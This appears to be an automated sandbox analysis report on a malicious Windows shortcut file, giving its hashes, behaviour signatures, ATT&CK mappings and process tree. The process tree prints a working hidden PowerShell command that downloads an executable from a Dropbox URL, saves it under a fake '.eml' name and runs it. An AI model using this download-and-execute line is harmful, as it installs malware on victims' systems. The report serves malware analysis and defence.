cb794dfc1d7ae658e97cd6106ed352a7ea1b223dc3b6fd11e741a0a152037e67

Analysis

max time kernel
43s
max time network
46s
platform
windows7_x64
resource
win7-20220718-en
resource tags

arch:x64arch:x86image:win7-20220718-enlocale:en-usos:windows7-x64system
submitted
25-07-2022 05:26

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

cb794dfc1d7ae658e97cd6106ed352a7ea1b223dc3b6fd11e741a0a152037e67.lnk
Size

1KB
MD5

a70ad591796a3bd4ca51c1b1be6faa7f
SHA1

09626af0ab0618c75027bb49fe2e98fd8380a2f4
SHA256

cb794dfc1d7ae658e97cd6106ed352a7ea1b223dc3b6fd11e741a0a152037e67
SHA512

85c920fc5443569f757f2832cbd64476d75b9b6d9cc875747a3bca4e6635b760abb81f7aaa4a93a27c77288dd2bd4002fd06610585beb47e57981153838f8ecd

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://www.dropbox.com/s/edlv7qj0eo2pct6/obi.exe?dl=1

Signatures

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

4 1028 powershell.exe
5 1028 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1028 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1028 powershell.exe

flow	pid	process
4	1028	powershell.exe
5	1028	powershell.exe

pid	process
1028	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1028	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 976 wrote to memory of 1028	976	cmd.exe	powershell.exe
PID 976 wrote to memory of 1028	976	cmd.exe	powershell.exe
PID 976 wrote to memory of 1028	976	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\cb794dfc1d7ae658e97cd6106ed352a7ea1b223dc3b6fd11e741a0a152037e67.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:976

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('https://www.dropbox.com/s/edlv7qj0eo2pct6/obi.exe?dl=1','C:\Users\Admin\AppData\Roaming\required details.eml');Start-Process 'C:\Users\Admin\AppData\Roaming\required details.eml'
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1028

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/976-54-0x000007FEFC331000-0x000007FEFC333000-memory.dmp

Filesize
8KB

Download
memory/1028-88-0x0000000000000000-mapping.dmp

Download
memory/1028-93-0x000007FEF3E30000-0x000007FEF4853000-memory.dmp

Filesize
10.1MB

Download
memory/1028-95-0x00000000028E4000-0x00000000028E7000-memory.dmp

Filesize
12KB

Download
memory/1028-94-0x000007FEF32D0000-0x000007FEF3E2D000-memory.dmp

Filesize
11.4MB

Download
memory/1028-96-0x00000000028EB000-0x000000000290A000-memory.dmp

Filesize
124KB

Download
memory/1028-97-0x00000000028E4000-0x00000000028E7000-memory.dmp

Filesize
12KB

Download
memory/1028-98-0x00000000028EB000-0x000000000290A000-memory.dmp

Filesize
124KB

Download